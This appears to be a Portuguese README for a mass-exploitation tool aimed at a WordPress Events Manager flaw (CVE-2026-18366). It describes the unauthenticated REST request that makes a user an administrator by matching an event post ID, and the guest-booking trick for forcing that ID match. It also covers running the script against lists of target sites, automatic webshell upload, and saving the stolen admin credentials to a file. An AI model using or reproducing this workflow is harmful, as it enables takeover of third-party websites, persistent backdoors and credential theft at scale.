CVE-2026-18366

Events Manager < 7.4.1 - Escalonamento de Privilégios Não Autenticado para Administrador

---

---

📋 Visão Geral da Vulnerabilidade

Atributo	Detalhes
ID do CVE	CVE-2026-18366
Severidade	🔴 CRÍTICA (CVSS 9.8)
Plugin	Events Manager for WordPress
Versões Afetadas	< 7.4.1
Tipo de Vulnerabilidade	Escalonamento de Privilégios Não Autenticado
Vetor de Ataque	Rede
Autenticação Necessária	Nenhuma

---

🔍 Descrição Técnica

Análise da Causa Raiz

A vulnerabilidade existe em EM\Archetypes::map_meta_cap dentro de classes/em-archetypes.php. O plugin define incorretamente o escopo do seu mapeamento de capacidades ao:

1. Tratar QUALQUER ID de objeto como um ID de post
2. Se o post for um CPT event ou location, ele zera $caps = []
3. Nunca preencher novamente as capacidades para edit_user, delete_user ou promote_user
4. Capacidades vazias → has_cap() retorna true, inclusive para o usuário 0 (convidado)

Vetor de Ataque

POST|PUT|PATCH  /wp-json/wp/v2/users/{id}
POST            /index.php?rest_route=/wp/v2/users/{id}

Body: {"password":"...","roles":["administrator"]}

Condição: {id} deve ser igual a wp_posts.ID de um CPT de evento ou local.

⚠️ O REST não autenticado não exige nonce (sem cookie de sessão logada).

Exploração de Reservas de Convidados

Reservas de convidados (dbem_bookings_anonymous=1 por padrão) criam usuários WP reais, possibilitando forçar a colisão. O nonce de reserva está disponível publicamente nos formulários de eventos.

---

🚀 Uso

Requisitos

pip install aiohttp

Início Rápido

python CVE-2026-18366.py

O script solicitará:

• list → Caminho para o arquivo da lista de alvos (padrão: list.txt)
• speed → Workers concorrentes (padrão: 10)

Opções de Linha de Comando

python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30

Opção	Descrição
-l, --list	Caminho para o arquivo contendo as URLs alvo
-s, --speed	Número de workers concorrentes (1-200)
--timeout	Tempo limite da requisição em segundos (padrão: 20)

Formato da Lista de Alvos

Crie um arquivo list.txt com um alvo por linha:

https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com

---

📊 Saída

Saída no Console

[+] [HH:MM:SS] target.com  ADMIN  username:password  uid=X  path
[+] [HH:MM:SS] target.com  SHELL  https://target.com/wp-content/plugins/...

Arquivo de Resultados

Comprometimentos bem-sucedidos são salvos em adminS.txt:

https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url

---

🔄 Fluxo de Exploração

┌─────────────────────────────────────────────────────────────────┐
│                    CVE-2026-18366 Flow                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────┐    ┌─────────────┐    ┌──────────────────────┐   │
│  │  Detect  │ →  │ Collect IDs │ →  │  PATH A: ID Brute    │   │
│  │  Plugin  │    │  (CPT/HTML) │    │  REST /users/{id}    │   │
│  └──────────┘    └─────────────┘    └──────────┬───────────┘   │
│                                                 │               │
│                                          ┌──────▼──────┐        │
│                                          │   Success?  │        │
│                                          └──────┬──────┘        │
│                                       No │      │ Yes           │
│                               ┌──────────▼──────▼──────────┐    │
│                               │                            │    │
│  ┌──────────────────────┐     │    ┌─────────────────┐     │    │
│  │  PATH B: Guest Book  │ ←───┘    │  Login + Verify │     │    │
│  │  Create user until   │          │  Admin Access   │     │    │
│  │  user_id == post_id  │          └────────┬────────┘     │    │
│  └──────────────────────┘                   │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │  Upload Shell   │     │    │
│                                    │  (Plugin/Theme) │     │    │
│                                    └────────┬────────┘     │    │
│                                             │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │   Save Results  │     │    │
│                                    │   adminS.txt    │     │    │
│                                    └─────────────────┘     │    │
│                                                            │    │
└────────────────────────────────────────────────────────────────┘

---

⚙️ Recursos

• Arquitetura Assíncrona → Varredura concorrente de alto desempenho
• Caminhos de Ataque Duplos → Colisão de ID + Exploração de reserva de convidados
• Upload Automático de Shell → Implantação de webshell em Plugin/Tema
• Detecção de Versão → Identificação automática de versão vulnerável
• Enumeração Inteligente de Usernames → Múltiplas técnicas de enumeração
• Verificação de Login → Validação por cookie + XML-RPC
• Escalonamento de Privilégios → Promoção automática para administrador

---

📁 Estrutura de Arquivos

├── CVE-2026-18366.py    # Main exploit script
├── list.txt             # Target URLs (create this)
├── adminS.txt           # Successful results (auto-created)
└── README.md            # This documentation

---

⚠️ Aviso Legal